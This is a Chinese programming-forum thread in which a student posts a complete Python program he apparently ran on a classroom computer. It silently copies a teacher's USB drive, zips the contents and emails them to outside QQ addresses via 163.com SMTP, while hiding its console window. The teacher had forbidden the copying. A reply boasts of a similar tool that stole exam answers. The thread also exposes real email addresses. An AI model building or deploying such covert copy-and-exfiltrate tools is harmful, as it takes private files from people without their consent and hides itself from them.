watermelon 发表于 2019-5-8 23:32:40

【Python】拷贝课件

本帖最后由 watermelon 于 2019-5-8 23:36 编辑

这学期核电子学课程内容非常多,并且对于大多数同学不是很容易来进行学习,一般来说我们喜欢课后用U盘拷贝老师的课件来进行课后复习或者考前突击。但是很蛋疼的是核电子学老师居然不让拷课件,她说课上认真听讲课下看书就行了,课件上的东西在课上都讲过了,这让我们大家感觉比较恼火。
所以我就想自己能不能通过Python来写一段小程序来把课件拷贝下来呢,当老师的U盘插入电脑,识别到后就先将U盘里的文件拷贝到D盘里的一个文件夹中,然后对这个文件进行压缩,以便后续发邮件使用。为什么使用Python呢,因为这段时间我有要用到Python来做课程设计的科学计算了,小白写一个简单的程序而又使其功能强大,这个时候绝对可以考虑脚本语言例如Python!


下面讨论一下这段程序怎么进行编制呢?

1.首先主要功能是识别U盘插入并且对U盘中的文件进行拷贝:我对于识别U盘的是否插入处理的比较简单,一般电脑都是有3个盘(C: D: E:),那么U盘插入到电脑上的时候就会成为F盘。我用一个死循环+break来使程序一直运行下去,在运行的过程中一直用os.path.exists('F:')方法对电脑进行查询是否有F盘。如果有F盘,则说明U盘已经插入,进行后续的处理;否则表示U盘还没有插入,这个时候程序一直循环下去。由于是死循环,为了防止CPU使用率过高,适当的利用sleep函数是有必要的,并且我还根据CPU不同的使用率来适当调整sleep的时间,当CPU使用率小于25%时候,sleep0.5秒,高于25%时候睡眠1秒。拷贝U盘里的全部文件就用到了shutil.copytree方法,这个使用起来非常方便!

2.为了增强用户体验并且锻炼编程能力,我想再增加一个拷贝完成后给用户发送邮件来进行提示。具体流程是:当在D盘中拷贝完所有的文件后,对其进行压缩,以附件的形式发到指定的用户列表中,这样就可以避免下课后再拿个U盘来拷课件,老师还以为你问她问题的尴尬。发送邮件可以使用Python的smtplib库和email库,我使用的是网易邮箱来进行发送邮件,因此我的网易有想要事先开通授权码,否则会接收到“没有权限的”报错!

3.网易邮箱发送邮件附件有一个限制,就是附件大小好像不能够大于20MB(163邮箱说的最大附件可以到3G,难道是因为我没有充钱的缘故?),所以当我第一次发送打包的邮件时候写上try except,如果发送不了,就对已经从U盘中拷贝下来所有的文件中筛选文件后缀名称是.ppt和.pptx的文件,如果该后缀名结尾的文件大小大于15MB的就不要了,把剩下的所有挑选下来的PPT打成压缩包进行附件的发送,此时就有比较大的几率发送成功了,但是如果还是发送不成功就给用户发送一封致歉信并且说明让用户下课在老师走后去电脑上用U盘拷贝下课件。


4.为了程序的隐蔽性适当的隐藏控制台窗口使其运行(其实这个可以在pyinstaller打包时候进行参数设置),ctypes可以调用win32中的dll进行编程,也是很方便。

具体程序如下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import os
import os.path
import shutil
from time import sleep
from email.header import Header
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.utils import parseaddr, formataddr
import smtplib
import psutil
import uuid
import ctypes


# Copy files and zip them.
def copy_zip():
    # Use the UUID to name a folder.
    filename = str(uuid.uuid1())
    while True:
      if os.path.exists('F:'):
            print('USB disk has been detected.')
            try:
                shutil.copytree('F:','D:\\'+filename)
                print("Files have been copied successfully.")
                break
            except Exception:
                print('Error in copy_zip function, this circle will be exited')
                break
      else:
            print("Can't detect a USB disk on the PC now")
      
      # if the usage of CPU is higher than 25%, sleep 1 seconds.
      if psutil.cpu_percent() <= 25:
            sleep(0.5)    # Sleep 0.5 seconds
      else:
            sleep(1)      # Sleep 1 seconds
      print('Continue searching...')


    # Build the ZIP file
    shutil.make_archive(r'D:\email','zip','D:\\',filename)
    print('ZIP file is ready.')
    return 'D:\\' + filename


# if the size of zip is too large to email, choose the PowerPoint files to email.
def get_ppt(filepath):
    os.chdir(filepath)
    target = ['.ppt', '.pptx']
    for each_file in os.listdir(os.curdir):
      extension = os.path.splitext(each_file)
      # If single file size larger than 15MB, pass.
      if (not os.path.isdir(each_file)) and os.path.getsize(each_file)/(1024*1024) >= 15:
            continue
      
      if extension in target:
            try:
                shutil.copy(os.path.abspath(each_file), 'D:\\PPTtarget')
            except:
                pass
      if os.path.isdir(each_file):
            get_ppt(each_file)
            os.chdir(os.pardir)
   
    shutil.make_archive(r'D:\PPT', 'zip', 'D:\\','PPTtarget')



# Sending Email with Attachments.
def send_file(attachfile_path):
    sender = 'starlight_chou@163.com'
    access_code = '*********'

    receiver = ['2015572934@qq.com', '1483551760@qq.com']
    smtpserver = 'smtp.163.com'
    subject = 'Python coding is passion coding, yeah!'

    msg = MIMEMultipart()
    msg['Subject'] = Header(subject, 'utf-8')
    msg['From'] = sender
    msg['To'] = ','.join(receiver)


    # Add Attachment files to the Email.
    with open(attachfile_path,'rb') as f:
      mime = MIMEBase('zipfile', 'zip', filename = 'HDZXKJ.zip')
      mime.add_header('Content-Disposition', 'attachment', filename = 'HDZXKJ.zip')
      mime.add_header('Content-ID','<0>')
      mime.add_header('X-Attachment-Id', '0')
      mime.set_payload(f.read())
      encoders.encode_base64(mime)
      msg.attach(mime)

    try:
      smtp = smtplib.SMTP()
      smtp.connect(smtpserver)
      smtp.login(sender,access_code)
      smtp.sendmail(sender,msg['To'].split(','),msg.as_string())
      smtp.quit()
      print("Email has sent successfully!")
      return True
    except:
      print('Error in send_file function')
      return False

# Because of the attachment size is larger than 20MB that
# can't have a transform through the 163.com.
# So send a sorry to user and let him copy the file with the USB disk.
def send_sorry():
    sender = 'starlight_chou@163.com'
    access_code = '*********'

    receiver = ['2015572934@qq.com', '3207299524@qq.com']
    smtpserver = 'smtp.163.com'
    subject = 'Python coding is passion coding, yeah!'

    msg = MIMEText('So sorry that the file is too large to email, please copy the zip folder with your USB disk','plain','utf-8')

    msg['Subject'] = Header(subject, 'utf-8')
    msg['From'] = sender
    msg['To'] = ','.join(receiver)
   
    try:
      smtp = smtplib.SMTP()
      smtp.connect(smtpserver)
      smtp.login(sender,access_code)
      smtp.sendmail(sender,msg['To'].split(','),msg.as_string())
      smtp.quit()
      print('success')
    except:
      pass




if __name__ == '__main__':
    print("Let's Begin!")
    sleep(2)

    # Hide the running console.
    h_console = ctypes.windll.kernel32.GetConsoleWindow()
    if h_console != 0:
      ctypes.windll.user32.ShowWindow(h_console,0)
   
    # Begin!
    filepath = copy_zip()
    if send_file('D:\\email.zip') == True:
      print('Done!')
    else:
      print("ERROR, Maybe the size of ZIP is too large to email")
      print("Please use the USB disk to copy the files")
      print("Now try to only email the PPT files in the folder")
      get_ppt(filepath)
      sleep(2)
      if send_file('D:\\PPT.zip') == False:
            send_sorry()

    print('Good Bye')

    # Release the handle of Console.
    ctypes.windll.kernel32.CloseHandle(h_console)



由于网易邮箱的授权码属于隐私,所以小弟就打上星号了,请各位见谅。

当晚写好了程序,用pyinstaller3.4打包成exe(包含很多库文件)在我的win10(装有Python3.7)和win7 x64虚拟机上试运行都完美运行,很是满足睡觉,但是第二天去课上给电脑运行却出现了没有办法运行的情况!
当晚舍友找我要课件时候我没有就遭到了嘲讽?我百度了一些,没有实质性的解决方法,如果有大佬能够指导一下这个错误还是非常感激的!
我在电脑上下载了Python3.7的安装包,给学校的电脑装上了Python,同时用pip安装上了程序中使用到的第三方库,最终可以运行下来了,囧rz。

帖子中有很多不足欢迎各位大佬指正并且欢迎大家讨论!

参考文献:
《Python可以这样学》 董付国清华大学出版社
Python教程-廖雪峰的官方网站:https://www.liaoxuefeng.com/wiki/1016959663602400
Python 3.7.2 documentation

Ayala 发表于 2019-6-23 18:28:14

点下查看问题详细信息 看看啥错误 我不是很擅长脚本语言的调试 更没学过py 但是解决运行错误 找出原因还是很擅长的

0xAA55 发表于 2019-5-9 01:59:41

多年前高中那会儿我用VB6写的。拷贝能力很稳。有一次月考答案被扒了,学校没查出来谁干的。不过后来老师不敢在U盘里存重要文件了。

那会儿流行一种病毒,假装自己是文件夹的那种。我的程序假装自己就是那个病毒。

现在情况应该不一样了。

大能猫 发表于 2019-5-9 02:06:14

2333这个还行
话说跨平台的话建议go啊,不用下载依赖了
(虽然我自己没用过go(逃

watermelon 发表于 2019-5-9 12:39:04

0xAA55 发表于 2019-5-9 01:59
多年前高中那会儿我用VB6写的。拷贝能力很稳。有一次月考答案被扒了,学校没查出来谁干的。不过后来老师不 ...

感谢站长鼓励!没想到有过类似的经历:D
说实话老师的U盘里的确有挺多重要文件的,我实际上在课后又到电脑上把拷贝的文件删除掉了,因为不想造成一些麻烦,并且邮件附件中的文件我也是只看PPT,其他的资料不敢看也不想看了。

watermelon 发表于 2019-5-9 12:41:24

大能猫 发表于 2019-5-9 02:06
2333这个还行
话说跨平台的话建议go啊,不用下载依赖了
(虽然我自己没用过go(逃 ...

回大能猫老哥:go语言我看到过几本书讲他,但是目前实在没有时间和经历去学习这个了呢,说实话用pip给学校电脑下载安装库的时候别的同学不懂还以为我在搞什么高科技(控制台的那个进度条和代码很炫酷是吧),顺便装了个比(逃:D

Ayala 发表于 2019-6-23 18:26:32

0xAA55 发表于 2019-5-9 01:59
多年前高中那会儿我用VB6写的。拷贝能力很稳。有一次月考答案被扒了,学校没查出来谁干的。不过后来老师不 ...

伪装文件夹的病毒还是很流行不过现在的国内的各种卫士都可以防,不过国外很过知名杀毒软件却不可以!

watermelon 发表于 2019-8-12 00:00:00

Ayala 发表于 2019-6-23 18:28
点下查看问题详细信息 看看啥错误 我不是很擅长脚本语言的调试 更没学过py 但是解决运行错误 找出原因还是 ...

感谢大佬关注此贴,抱歉这么久才想好回复,话说我当初也居然没有点击“查看问题详细信息”,只有等开学咯。:P
页: [1]
查看完整版本: 【Python】拷贝课件